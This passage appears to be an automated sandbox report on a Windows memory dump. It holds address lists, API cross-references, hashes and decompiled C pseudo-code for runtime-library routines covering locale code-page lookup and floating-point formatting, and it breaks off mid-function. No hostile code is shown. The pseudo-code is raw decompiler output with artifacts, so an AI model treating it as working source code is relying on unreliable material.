0x00c5986c
0x00c59876
0x00c59877
0x00c5987d
0x00c59882
0x00c5988d
0x00c59897
0x00c5989c
0x00c598b2
0x00c598b2
0x00c598ba
0x00c598c5
0x00c598cc
0x00c598d5
0x00c598db
0x00c598e5
0x00c598e7
0x00c598e9
0x00c59da5
0x00c59da5
0x00c5a032
0x00c5a036
0x00c5a03e
0x00c5a044
0x00c5a047
0x00c5a065
0x00c5a065
0x00c5a068
0x00c5a06a
0x00c5a2f8
0x00c5a2fa
0x00c5a2fc
0x00c5a306
0x00c5a2fe
0x00c5a2fe
0x00c5a2fe
0x00c5a30c
0x00c5a30e
0x00c5a310
0x00c5a319
0x00c5a319
0x00c5a312
0x00c5a312
0x00c5a312
0x00c5a31e
0x00c5a320
0x00c5a322
0x00c5a32c
0x00c5a331
0x00c5a33c
0x00c5a352
0x00c5a35a
0x00c5a360
0x00c5a360
0x00c5a32c
0x00c5a363
0x00c5a369
0x00c5a36e
0x00c5a379
0x00c5a38f
0x00c5a397
0x00c5a39d
0x00c5a39d
0x00c5a3a0
0x00c5a3a0
0x00c5a3a6
0x00c5a3ab
0x00c5a3ae
0x00000000
0x00c5a3ae
0x00c5a070
0x00c5a078
0x00c5a07a
0x00c5a07c
0x00c5a1ec
0x00c5a1ec
0x00c5a1f4
0x00c5a1f6
0x00c5a1f8
0x00000000
0x00000000
0x00c5a1fe
0x00c5a203
0x00c5a205
0x00c5a20f
0x00c5a207
0x00c5a207
0x00c5a207
0x00c5a216
0x00c5a246
0x00c5a248
0x00c5a24a
0x00c5a254
0x00c5a24c
0x00c5a24c
0x00c5a24c
0x00c5a25b
0x00c5a288
0x00c5a28a
0x00c5a28c
0x00c5a29b
0x00c5a29f
0x00c5a2a2
0x00c5a2a2
0x00c5a28e
0x00c5a28e
0x00c5a294
0x00c5a296
0x00c5a296
0x00c5a2a8
0x00c5a2aa
0x00000000
0x00c5a2ac
0x00c5a2ac
0x00c5a2ae
0x00c5a2ba
0x00c5a2b0
0x00c5a2b0
0x00c5a2b2
0x00c5a2b5
0x00c5a2b5
0x00c5a2c1
0x00000000
0x00c5a2c3
0x00c5a2c3
0x00c5a2ca
0x00000000
0x00c5a2ca
0x00c5a2c1
0x00c5a25d
0x00c5a25f
0x00c5a261
0x00c5a26b
0x00c5a263
0x00c5a267
0x00c5a267
0x00c5a276
0x00000000
0x00c5a278
0x00c5a278
0x00c5a27f
0x00000000
0x00c5a27f
0x00c5a276
0x00c5a218
0x00c5a21a
0x00c5a21c
0x00c5a226
0x00c5a21e
0x00c5a222
0x00c5a222
0x00c5a231
0x00000000
0x00c5a233
0x00c5a233
0x00c5a23a
0x00c5a2d1
0x00c5a2e7
0x00c5a2ef
0x00c5a2f5
0x00000000
0x00c5a2f5
0x00c5a231
0x00c5a216
0x00c5a084
0x00c5a086
0x00c5a090
0x00c5a088
0x00c5a088
0x00c5a088
0x00c5a097
0x00c5a0e0
0x00c5a0e0
0x00c5a0e2
0x00c5a103
0x00c5a106
0x00c5a108
0x00000000
0x00c5a108
0x00000000
0x00c5a099
0x00c5a099
0x00c5a09b
0x00c5a0ab
0x00c5a0ae
0x00c5a0b9
0x00c5a0cf
0x00c5a0d7
0x00c5a0dd
0x00000000
0x00c5a0dd
0x00c5a0a4
0x00c5a0a9
0x00c5a0e4
0x00c5a0eb
0x00c5a0f0
0x00c5a1b7
0x00c5a1ba
0x00c5a1c5
0x00c5a1db
0x00c5a1e3
0x00c5a1e9
0x00000000
0x00c5a1e9
0x00c5a0f6
0x00c5a0f9
0x00c5a0fb
0x00c5a10a
0x00c5a10d
0x00c5a10f
0x00c5a111
0x00c5a11b
0x00c5a11b
0x00c5a113
0x00c5a113
0x00c5a113
0x00c5a121
0x00c5a123
0x00000000
0x00c5a129
0x00c5a12b
0x00c5a12d
0x00c5a143
0x00c5a147
0x00c5a14a
0x00c5a14a
0x00c5a12f
0x00c5a12f
0x00c5a137
0x00c5a139
0x00c5a13c
0x00c5a13c
0x00c5a150
0x00c5a152
0x00c5a155
0x00c5a157
0x00c5a169
0x00c5a169
0x00000000
0x00c5a159
0x00c5a159
0x00c5a15f
0x00c5a165
0x00000000
0x00000000
0x00c5a16f
0x00c5a16f
0x00c5a171
0x00c5a173
0x00c5a181
0x00c5a181
0x00c5a175
0x00c5a17a
0x00c5a17a
0x00c5a188
0x00c5a18b
0x00c5a18d
0x00c5a197
0x00c5a199
0x00c5a19b
0x00c5a1a5
0x00c5a19d
0x00c5a19d
0x00c5a19d
0x00c5a1ad
0x00000000
0x00c5a1af
0x00c5a1af
0x00c5a1b5
0x00000000
0x00000000
0x00000000
0x00c5a1b5
0x00c5a18f
0x00c5a18f
0x00c5a195
0x00000000
0x00000000
0x00000000
0x00c5a195
0x00c5a18d
0x00c5a157
0x00c5a123
0x00000000
0x00c5a0a9
0x00c598ef
0x00c598f4
0x00c598f6
0x00c598f8
0x00000000
0x00000000
0x00c598fe
0x00c59900
0x00000000
0x00000000
0x00c5992f
0x00c59936
0x00c59939
0x00c59da2
0x00c59da2
0x00000000
0x00c59da2
0x00c598e9
0x00c5979c
0x00c5979c
0x00c597a1
0x00000000
0x00000000
0x00c597a7
0x00c597ac
0x00000000
0x00000000
0x00000000
0x00c597ac
0x00c59764
0x00c59769
0x00c5976e
0x00000000
0x00000000
0x00c59774
0x00000000
0x00c59774
0x00c59762
0x00c5971d
0x00c596bb
0x00c596be
0x00000000
0x00000000
0x00000000

APIs

operator+.LIBVCRUNTIME ref: 00C596E9
DName::operator+.LIBCMT ref: 00C5983D
DName::operator+.LIBCMT ref: 00C5985A

Strings

/, xrefs: 00C59F81

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Name::operator+$operator+
String ID: /
API String ID: 1595903985-2043925204
Opcode ID: 1be00df72cd4dec245eb9f4c50b833fcf53f7fdffba4b085daf9ac7e4a894241
Instruction ID: de168cc7774be553964b085449a879d5a2b312aadd905565d4313e0f7b30654a
Opcode Fuzzy Hash: 1be00df72cd4dec245eb9f4c50b833fcf53f7fdffba4b085daf9ac7e4a894241
Instruction Fuzzy Hash: 2C829079D00209DBDF14DFA9C891BEEB7B4FB48301F14416AEC16E7280EB749A88DB55

Uniqueness

Uniqueness Score: -1.00%

Function 00C85965, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 251
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00C85965(void* __ecx, void* __edx, void* __eflags, intOrPtr* _a4, signed short* _a8, intOrPtr _a12) {
				intOrPtr* _v8;
				short _v12;
				signed int _v32;
				intOrPtr _v40;
				signed int _v52;
				char _v272;
				short _v292;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t33;
				short* _t34;
				intOrPtr* _t35;
				void* _t37;
				intOrPtr* _t38;
				signed short _t39;
				signed short* _t42;
				intOrPtr _t45;
				void* _t47;
				signed int _t50;
				void* _t52;
				signed int _t56;
				void* _t68;
				void* _t72;
				void* _t73;
				void* _t77;
				intOrPtr* _t84;
				short* _t86;
				void* _t88;
				intOrPtr* _t91;
				intOrPtr* _t95;
				short _t113;
				void* _t114;
				intOrPtr* _t116;
				intOrPtr _t119;
				signed int* _t120;
				void* _t121;
				intOrPtr* _t123;
				signed short _t125;
				int _t127;
				void* _t128;
				void* _t131;
				signed int _t132;

				_push(__ecx);
				_push(__ecx);
				_t84 = _a4;
				_t33 = E00C7B398(__ecx, __edx);
				_t113 = 0;
				_v12 = 0;
				_t3 = _t33 + 0x50; // 0x50
				_t123 = _t3;
				_t4 = _t123 + 0x250; // 0x2a0
				_t34 = _t4;
				 *((intOrPtr*)(_t123 + 8)) = 0;
				 *_t34 = 0;
				_t6 = _t123 + 4; // 0x54
				_t116 = _t6;
				_v8 = _t34;
				_t91 = _t84;
				_t35 = _t84 + 0x80;
				 *_t123 = _t84;
				 *_t116 = _t35;
				if( *_t35 != 0) {
					E00C858F8(0xc9c138, 0x16, _t116);
					_t91 =  *_t123;
					_t131 = _t131 + 0xc;
					_t113 = 0;
				}
				_push(_t123);
				if( *_t91 == _t113) {
					E00C85223(_t84, _t91);
					goto L12;
				} else {
					if( *((intOrPtr*)( *_t116)) == _t113) {
						E00C85343();
					} else {
						E00C852AA(_t91);
					}
					if( *((intOrPtr*)(_t123 + 8)) == 0) {
						_t77 = E00C858F8(0xc9be28, 0x40, _t123);
						_t131 = _t131 + 0xc;
						if(_t77 != 0) {
							_push(_t123);
							if( *((intOrPtr*)( *_t116)) == 0) {
								E00C85343();
							} else {
								E00C852AA(0);
							}
							L12:
						}
					}
				}
				if( *((intOrPtr*)(_t123 + 8)) == 0) {
					L37:
					_t37 = 0;
					goto L38;
				} else {
					_t38 = _t84 + 0x100;
					if( *_t84 != 0 ||  *_t38 != 0) {
						_t39 = E00C8576F(_t38, _t123);
					} else {
						_t39 = GetACP();
					}
					_t125 = _t39;
					if(_t125 == 0 || _t125 == 0xfde8 || IsValidCodePage(_t125 & 0x0000ffff) == 0) {
						goto L37;
					} else {
						_t42 = _a8;
						if(_t42 != 0) {
							 *_t42 = _t125;
						}
						_t119 = _a12;
						if(_t119 == 0) {
							L36:
							_t37 = 1;
							L38:
							return _t37;
						} else {
							_t95 = _v8;
							_t15 = _t119 + 0x120; // 0xd0
							_t86 = _t15;
							 *_t86 = 0;
							_t16 = _t95 + 2; // 0x2
							_t114 = _t16;
							do {
								_t45 =  *_t95;
								_t95 = _t95 + 2;
							} while (_t45 != _v12);
							_t18 = (_t95 - _t114 >> 1) + 1; // -1
							_t47 = E00C8053C(_t86, 0x55, _v8);
							_t132 = _t131 + 0x10;
							if(_t47 != 0) {
								L39:
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								E00C7B914();
								asm("int3");
								_t130 = _t132;
								_t50 =  *0xca3098; // 0x75d6936a
								_v52 = _t50 ^ _t132;
								_push(_t86);
								_push(_t125);
								_push(_t119);
								_t52 = E00C7B398(_t97, _t114);
								_t87 = _t52;
								_t120 =  *(E00C7B398(_t97, _t114) + 0x34c);
								_t127 = E00C860D5(_v40);
								asm("sbb ecx, ecx");
								_t56 = GetLocaleInfoW(_t127, ( ~( *(_t52 + 0x64)) & 0xfffff005) + 0x1002,  &_v292, 0x78);
								if(_t56 != 0) {
									if(E00C7A1E8(_t120, _t127,  *((intOrPtr*)(_t87 + 0x54)),  &_v272) == 0 && E00C86207(_t127) != 0) {
										 *_t120 =  *_t120 | 0x00000004;
										_t120[2] = _t127;
										_t120[1] = _t127;
									}
									_t62 =  !( *_t120 >> 2) & 0x00000001;
								} else {
									 *_t120 =  *_t120 & _t56;
									_t62 = _t56 + 1;
								}
								_pop(_t121);
								_pop(_t128);
								_pop(_t88);
								return E00C572B1(_t62, _t88, _v32 ^ _t130, _t114, _t121, _t128);
							} else {
								if(E00C86FBB(_t86, 0x1001, _t119, 0x40) == 0) {
									goto L37;
								} else {
									_t20 = _t119 + 0x80; // 0x30
									_t86 = _t20;
									_t21 = _t119 + 0x120; // 0xd0
									if(E00C86FBB(_t21, 0x1002, _t86, 0x40) == 0) {
										goto L37;
									} else {
										_push(0x5f);
										_t68 = E00C575D1(_t97);
										_t97 = _t86;
										if(_t68 != 0) {
											L31:
											_t22 = _t119 + 0x120; // 0xd0
											if(E00C86FBB(_t22, 7, _t86, 0x40) == 0) {
												goto L37;
											} else {
												goto L32;
											}
										} else {
											_push(0x2e);
											_t73 = E00C575D1(_t97);
											_t97 = _t86;
											if(_t73 == 0) {
												L32:
												_t119 = _t119 + 0x100;
												if(_t125 != 0xfde9) {
													E00C90B71(_t97, _t125, _t119, 0x10, 0xa);
													goto L36;
												} else {
													_push(5);
													_t72 = E00C8053C(_t119, 0x10, L"utf8");
													_t132 = _t132 + 0x10;
													if(_t72 != 0) {
														goto L39;
													} else {
														goto L36;
													}
												}
											} else {
												goto L31;
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00c8596a
0x00c8596b
0x00c8596d
0x00c85972
0x00c85979
0x00c8597b
0x00c8597e
0x00c8597e
0x00c85981
0x00c85981
0x00c85987
0x00c8598a
0x00c8598d
0x00c8598d
0x00c85990
0x00c85993
0x00c85995
0x00c8599b
0x00c8599d
0x00c859a2
0x00c859ac
0x00c859b1
0x00c859b3
0x00c859b6
0x00c859b6
0x00c859b8
0x00c859bc
0x00c85a05
0x00000000
0x00c859be
0x00c859c3
0x00c859cc
0x00c859c5
0x00c859c5
0x00c859c5
0x00c859d7
0x00c859e1
0x00c859e6
0x00c859eb
0x00c859f1
0x00c859f5
0x00c859fe
0x00c859f7
0x00c859f7
0x00c859f7
0x00c85a0a
0x00c85a0a
0x00c859eb
0x00c859d7
0x00c85a10
0x00c85b4c
0x00c85b4c
0x00000000
0x00c85a16
0x00c85a16
0x00c85a1f
0x00c85a30
0x00c85a26
0x00c85a26
0x00c85a26
0x00c85a37
0x00c85a3b
0x00000000
0x00c85a5f
0x00c85a5f
0x00c85a64
0x00c85a66
0x00c85a66
0x00c85a68
0x00c85a6d
0x00c85b47
0x00c85b49
0x00c85b4e
0x00c85b52
0x00c85a73
0x00c85a73
0x00c85a76
0x00c85a76
0x00c85a7e
0x00c85a81
0x00c85a81
0x00c85a84
0x00c85a84
0x00c85a87
0x00c85a8a
0x00c85a94
0x00c85a9e
0x00c85aa3
0x00c85aa8
0x00c85b53
0x00c85b55
0x00c85b56
0x00c85b57
0x00c85b58
0x00c85b59
0x00c85b5a
0x00c85b5f
0x00c85b63
0x00c85b6b
0x00c85b72
0x00c85b75
0x00c85b76
0x00c85b7a
0x00c85b7b
0x00c85b80
0x00c85b88
0x00c85b97
0x00c85ba3
0x00c85bb4
0x00c85bbc
0x00c85bd6
0x00c85be3
0x00c85be6
0x00c85be9
0x00c85be9
0x00c85bf3
0x00c85bbe
0x00c85bbe
0x00c85bc0
0x00c85bc0
0x00c85bf9
0x00c85bfa
0x00c85bfd
0x00c85c04
0x00c85aae
0x00c85abe
0x00000000
0x00c85ac4
0x00c85ac6
0x00c85ac6
0x00c85ad2
0x00c85ae0
0x00000000
0x00c85ae2
0x00c85ae2
0x00c85ae5
0x00c85aeb
0x00c85aee
0x00c85afe
0x00c85b03
0x00c85b11
0x00000000
0x00000000
0x00000000
0x00000000
0x00c85af0
0x00c85af0
0x00c85af3
0x00c85af9
0x00c85afc
0x00c85b13
0x00c85b13
0x00c85b1f
0x00c85b3f
0x00000000
0x00c85b21
0x00c85b21
0x00c85b2b
0x00c85b30
0x00c85b35
0x00000000
0x00c85b37
0x00000000
0x00c85b37
0x00c85b35
0x00000000
0x00000000
0x00000000
0x00c85afc
0x00c85aee
0x00c85ae0
0x00c85abe
0x00c85aa8
0x00c85a6d
0x00c85a3b

APIs

Part of subcall function 00C7B398: GetLastError.KERNEL32(?,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B39D
Part of subcall function 00C7B398: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B43B

GetACP.KERNEL32(?,?,?,?,?,?,00C78646,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 00C85A26
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00C78646,?,?,?,00000055,?,-00000050,?,?), ref: 00C85A51
_wcschr.LIBVCRUNTIME ref: 00C85AE5
_wcschr.LIBVCRUNTIME ref: 00C85AF3
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00C85BB4

Strings

utf8, xrefs: 00C85B23

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: 2fd2e9af36ba4527071cd06932fce32ee66281ae1d6c9f0e0d0d841d527823c5
Instruction ID: 4ea854f187486247aaa601d52e2adb5ecb39768986e5ecf0b36747e05bf95f82
Opcode Fuzzy Hash: 2fd2e9af36ba4527071cd06932fce32ee66281ae1d6c9f0e0d0d841d527823c5
Instruction Fuzzy Hash: D5710631600A02ABDB29BB35CC86FBB77A8EF58748F144029F915D7181EBF0DE409768

Uniqueness

Uniqueness Score: -1.00%

Function 00C8CC96, Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340
COMMONCrypto

Download Yara Rule

C-Code - Quality: 78%

			E00C8CC96(void* __ebx, void* __eflags, signed int _a4, signed int _a8, intOrPtr _a12, intOrPtr* _a16, signed int _a20, intOrPtr _a24) {
				signed int _v0;
				signed int _v8;
				signed int _v464;
				void _v468;
				signed int _v472;
				signed int _v932;
				signed int _v936;
				signed int _v1392;
				signed int _v1396;
				signed int _v1400;
				char _v1860;
				signed int _v1864;
				signed int _v1868;
				signed int _v1872;
				signed int _v1876;
				signed int _v1880;
				signed int _v1884;
				signed int _v1888;
				signed int _v1892;
				signed int _v1896;
				signed int _v1900;
				signed int _v1904;
				signed int _v1908;
				signed int _v1912;
				intOrPtr _v1916;
				signed int _v1920;
				intOrPtr* _v1924;
				signed int _v1928;
				char _v1936;
				signed int _v1944;
				char _v2404;
				signed int _v2408;
				signed int _v2424;
				void* __edi;
				void* __esi;
				signed int _t720;
				intOrPtr _t730;
				signed int _t734;
				signed int _t735;
				intOrPtr _t741;
				intOrPtr* _t742;
				intOrPtr* _t745;
				signed int _t749;
				signed int _t750;
				signed int _t756;
				intOrPtr _t763;
				void* _t764;
				unsigned int* _t766;
				signed int _t775;
				signed int _t776;
				signed int _t779;
				signed int _t780;
				signed int _t781;
				signed int _t784;
				signed int _t785;
				signed int _t786;
				signed int _t788;
				signed int _t789;
				signed int _t794;
				signed int _t795;
				signed int _t800;
				signed int _t801;
				signed int _t804;
				signed int _t808;
				signed int _t815;
				signed int* _t818;
				signed int _t821;
				signed int _t832;
				signed int _t833;
				signed int _t834;
				signed int _t835;
				char* _t836;
				signed int _t838;
				signed int _t843;
				signed int _t845;
				signed int _t849;
				signed int _t852;
				signed int _t860;
				signed int _t863;
				signed int _t865;
				signed int _t868;
				signed int _t869;
				signed int _t872;
				signed int _t885;
				signed int _t886;
				signed int _t887;
				signed int _t888;
				char* _t889;
				signed int _t891;
				signed int* _t894;
				signed int _t896;
				signed int _t898;
				signed int _t902;
				signed int _t905;
				signed int _t912;
				signed int _t915;
				signed int _t919;
				intOrPtr _t923;
				void* _t924;
				unsigned int* _t926;
				unsigned int _t936;
				signed int _t937;
				signed int _t941;
				signed int _t942;
				void* _t943;
				signed int _t954;
				signed int _t956;
				unsigned int _t961;
				signed int _t962;
				signed int _t966;
				signed int _t967;
				void* _t968;
				signed int _t972;
				signed int _t976;
				signed int _t978;
				void* _t985;
				signed int _t986;
				void* _t987;
				signed int _t988;
				signed int _t991;
				void* _t995;
				signed int _t996;
				signed int _t998;
				signed int _t1000;
				signed int _t1002;
				signed int _t1003;
				signed int _t1004;
				signed int _t1005;
				intOrPtr* _t1018;
				signed int _t1027;
				signed int _t1028;
				signed int _t1031;
				signed int _t1032;
				signed int _t1034;
				signed int _t1035;
				signed int _t1036;
				signed int _t1040;
				signed int _t1044;
				signed int _t1045;
				signed int _t1046;
				signed int _t1048;
				signed int _t1049;
				signed int _t1050;
				signed int _t1051;
				signed int _t1052;
				signed int _t1053;
				signed int _t1054;
				signed int _t1056;
				signed int _t1057;
				signed int _t1058;
				signed int _t1059;
				signed int _t1060;
				void* _t1061;
				signed int _t1062;
				signed int _t1067;
				signed int _t1068;
				signed int _t1073;
				void* _t1074;
				signed int _t1078;
				signed int _t1081;
				signed int _t1086;
				signed int _t1090;
				signed int _t1091;
				unsigned int _t1092;
				signed int _t1101;
				signed int _t1103;
				unsigned int _t1105;
				signed int _t1110;
				intOrPtr* _t1112;
				signed int _t1114;
				intOrPtr* _t1116;
				intOrPtr _t1118;
				signed int _t1119;
				void* _t1121;
				void* _t1124;
				signed int _t1125;
				unsigned int _t1127;
				signed int _t1128;
				signed int _t1129;
				void* _t1130;
				signed int _t1131;
				signed int _t1132;
				signed int _t1133;
				signed int _t1136;
				signed int _t1137;
				signed int _t1138;
				signed int _t1139;
				signed int _t1142;
				signed int _t1143;
				signed int _t1144;
				signed int _t1145;
				signed int _t1147;
				signed int _t1150;
				signed int _t1151;
				signed int _t1154;
				signed int _t1156;
				signed int _t1157;
				intOrPtr _t1159;
				intOrPtr _t1160;
				void* _t1161;
				signed int _t1163;
				signed int _t1164;
				signed int _t1165;
				unsigned int* _t1166;
				signed int _t1167;
				signed int _t1170;
				signed int _t1171;
				signed int _t1172;
				signed int _t1173;
				signed int _t1175;
				signed int _t1176;
				signed int _t1177;
				signed int _t1178;
				signed int _t1179;
				signed int _t1181;
				signed int _t1182;
				signed int _t1183;
				signed int _t1184;
				signed int _t1185;
				unsigned int* _t1186;
				signed int _t1187;
				signed int _t1191;
				signed int _t1193;
				signed int _t1195;
				signed int _t1197;
				signed int _t1198;
				signed int* _t1200;
				signed int* _t1204;
				signed int _t1207;
				signed int _t1214;

				_t985 = __ebx;
				_t720 =  *0xca3098; // 0x75d6936a
				_v8 = _t720 ^ _t1198;
				_v1924 = _a16;
				_v1904 = _a20;
				E00C917AF(__eflags,  &_v1944);
				if((_v1944 & 0x0000001f) != 0x1f) {
					E00C91817(__eflags,  &_v1944);
					_v1936 = 1;
				} else {
					_v1936 = 0;
				}
				_push(_t985);
				_t986 = _a4;
				_t1156 = _a8;
				_t1118 = 0x20;
				_t1207 = _t1156;
				if(_t1207 > 0 || _t1207 >= 0 && _t986 >= 0) {
					_t730 = _t1118;
				} else {
					_t730 = 0x2d;
				}
				_t1018 = _v1924;
				_t1089 = _v1904;
				 *_t1018 = _t730;
				 *(_t1018 + 8) = _t1089;
				if((_t1156 & 0x7ff00000) != 0) {
					L11:
					_t734 = E00C7DA70( &_a4);
					__eflags = _t734;
					if(_t734 != 0) {
						 *(_v1924 + 4) = 1;
					}
					_t735 = _t734 - 1;
					__eflags = _t735;
					if(_t735 == 0) {
						_push("1#INF");
						goto L310;
					} else {
						_t749 = _t735 - 1;
						__eflags = _t749;
						if(_t749 == 0) {
							_push("1#QNAN");
							goto L310;
						} else {
							_t750 = _t749 - 1;
							__eflags = _t750;
							if(_t750 == 0) {
								_push("1#SNAN");
								goto L310;
							} else {
								__eflags = _t750 == 1;
								if(_t750 == 1) {
									_push("1#IND");
									L310:
									_push(_a24);
									_t1022 = _v1904;
									_push(_v1904);
									goto L311;
								} else {
									_v1928 = _v1928 & 0x00000000;
									_a8 = _t1156 & 0x7fffffff;
									_a4 = _t986;
									_t1214 = _a4;
									asm("fst qword [ebp-0x778]");
									_t1163 = _v1912;
									_v1920 = _a12 + 1;
									_t1027 = _t1163 >> 0x14;
									_t756 = _t1027 & 0x000007ff;
									__eflags = _t756;
									if(_t756 != 0) {
										_t756 = 0;
										_t1090 = 0x100000;
										_t988 = 0;
										__eflags = 0;
									} else {
										_t1090 = 0;
										_t988 = 1;
									}
									_t1164 = _t1163 & 0x000fffff;
									_v1888 = _v1916 + _t756;
									asm("adc esi, edx");
									_t1028 = _t1027 & 0x000007ff;
									_v1868 = _t1028 + _t988;
									E00C91870(_t1028, _t1214);
									_push(_t1028);
									_push(_t1028);
									 *_t1200 = _t1214;
									E00C91980(_t1028);
									_t1031 = L00C95BD0(_t1090);
									_v1900 = _t1031;
									_t1124 = 0x20;
									__eflags = _t1031 - 0x7fffffff;
									if(_t1031 == 0x7fffffff) {
										L22:
										__eflags = 0;
										_v1900 = 0;
									} else {
										__eflags = _t1031 - 0x80000000;
										if(_t1031 == 0x80000000) {
											goto L22;
										}
									}
									_t1091 = _v1868;
									__eflags = _t1164;
									_v468 = _v1888;
									_v464 = _t1164;
									_v936 = _v936 & 0x00000000;
									_t991 = (0 | _t1164 != 0x00000000) + 1;
									_v472 = _t991;
									__eflags = _t1091 - 0x433;
									if(_t1091 < 0x433) {
										__eflags = _t1091 - 0x35;
										if(_t1091 == 0x35) {
											L110:
											_t763 =  *((intOrPtr*)(_t1198 + _t991 * 4 - 0x1d4));
											_t202 =  &_v1912;
											 *_t202 = _v1912 & 0x00000000;
											__eflags =  *_t202;
											asm("bsr eax, eax");
											if( *_t202 == 0) {
												_t764 = 0;
												__eflags = 0;
											} else {
												_t764 = _t763 + 1;
											}
											_t1165 = _t991;
											_t1125 = _t1124 - _t764;
											__eflags = _t1125;
											_v1888 = _t1165;
											_t1032 = _t1165;
											_t766 =  &(( &_v472)[_t1165]);
											_v1884 = _t766;
											_t1166 = _t766;
											while(1) {
												__eflags = _t1032 - _t991;
												if(_t1032 >= _t991) {
													_t213 =  &_v1872;
													 *_t213 = _v1872 & 0x00000000;
													__eflags =  *_t213;
												} else {
													_v1872 =  *(_t1198 + _t1032 * 4 - 0x1d0);
												}
												_t215 = _t1032 - 1; // -1
												__eflags = _t215 - _t991;
												if(_t215 >= _t991) {
													_t1092 = 0;
													__eflags = 0;
												} else {
													_t1092 =  *_t1166;
												}
												_t1166 = _t1166 - 4;
												 *(_t1198 + _t1032 * 4 - 0x1d0) = _t1092 >> 0x0000001f | _v1872 + _v1872;
												_t1032 = _t1032 - 1;
												__eflags = _t1032 - 0xffffffff;
												if(_t1032 == 0xffffffff) {
													break;
												}
												_t991 = _v472;
											}
											_t1167 = _v1888;
											__eflags = _t1125 - 1;
											if(_t1125 >= 1) {
												_v472 = _t1167;
											} else {
												_v472 = _t1167 + 1;
											}
											_t1127 = 0x434 >> 5;
											E00C583F0(0x434 >> 5,  &_v1396, 0, 0x434);
											__eflags = 1;
											 *(_t1198 + 0xbad63d) = 1 << (0x00000434 - _v1868 & 0x0000001f);
										} else {
											_v1396 = _v1396 & 0x00000000;
											_v1392 = 0x100000;
											_v1400 = 2;
											__eflags = _t1164;
											if(_t1164 != 0) {
												_t1061 = 0;
												__eflags = 0;
												while(1) {
													_t923 =  *((intOrPtr*)(_t1198 + _t1061 - 0x570));
													__eflags = _t923 -  *((intOrPtr*)(_t1198 + _t1061 - 0x1d0));
													if(_t923 !=  *((intOrPtr*)(_t1198 + _t1061 - 0x1d0))) {
														goto L110;
													}
													_t1061 = _t1061 + 4;
													__eflags = _t1061 - 8;
													if(_t1061 != 8) {
														continue;
													} else {
														_t172 =  &_v1912;
														 *_t172 = _v1912 & 0x00000000;
														__eflags =  *_t172;
														asm("bsr eax, esi");
														if( *_t172 == 0) {
															_t924 = 0;
															__eflags = 0;
														} else {
															_t924 = _t923 + 1;
														}
														_t1185 = _t991;
														_t1145 = _t1124 - _t924;
														__eflags = _t1145;
														_v1888 = _t1185;
														_t1062 = _t1185;
														_t926 =  &(( &_v472)[_t1185]);
														_v1884 = _t926;
														_t1186 = _t926;
														while(1) {
															__eflags = _t1062 - _t991;
															if(_t1062 >= _t991) {
																_t183 =  &_v1872;
																 *_t183 = _v1872 & 0x00000000;
																__eflags =  *_t183;
															} else {
																_v1872 =  *(_t1198 + _t1062 * 4 - 0x1d0);
															}
															_t185 = _t1062 - 1; // -1
															__eflags = _t185 - _t991;
															if(_t185 >= _t991) {
																_t1105 = 0;
																__eflags = 0;
															} else {
																_t1105 =  *_t1186;
															}
															_t1186 = _t1186 - 4;
															 *(_t1198 + _t1062 * 4 - 0x1d0) = _t1105 >> 0x0000001e | _v1872 << 0x00000002;
															_t1062 = _t1062 - 1;
															__eflags = _t1062 - 0xffffffff;
															if(_t1062 == 0xffffffff) {
																break;
															}
															_t991 = _v472;
														}
														_t1187 = _v1888;
														__eflags = _t1145 - 2;
														if(_t1145 >= 2) {
															_v472 = _t1187;
														} else {
															_v472 = _t1187 + 1;
														}
														_t1127 = 0x435 >> 5;
														E00C583F0(0x435 >> 5,  &_v1396, 0, 0x435);
														 *(_t1198 + 0xbad63d) = 1 << (0x00000435 - _v1868 & 0x0000001f);
													}
													goto L126;
												}
											}
											goto L110;
										}
										L126:
										_t775 = _t1127 + 1;
										_t995 = 0x1cc;
										_v1400 = _t775;
										_v936 = _t775;
										_t776 = _t775 << 2;
										__eflags = _t776;
										_push(_t776);
										_push( &_v1396);
										_push(0x1cc);
										_push( &_v932);
										L315();
										_t1204 =  &(_t1200[7]);
									} else {
										_v1396 = _v1396 & 0x00000000;
										_v1392 = 0x100000;
										_v1400 = 2;
										__eflags = _t1164;
										if(_t1164 == 0) {
											L59:
											_t936 = _t1091 - 0x432;
											_t937 = _t936 & 0x0000001f;
											_t1191 = _t936 >> 5;
											_v1868 = _t937;
											_v1876 = _t1191;
											_v1888 = _t1124 - _t937;
											_t941 = E00C95BA0(1, _t1124 - _t937, 0) - 1;
											_t117 =  &_v1912;
											 *_t117 = _v1912 & 0x00000000;
											__eflags =  *_t117;
											_v1908 = _t941;
											_t942 =  !_t941;
											_v1884 = _t942;
											asm("bsr eax, ecx");
											if( *_t117 == 0) {
												_t943 = 0;
												__eflags = 0;
											} else {
												_t943 = _t942 + 1;
											}
											_t1110 = _t991 + _t1191;
											_t1147 = _t1124 - _t943;
											_v1880 = _t1147;
											_v1892 = _t1110;
											__eflags = _t1110 - 0x73;
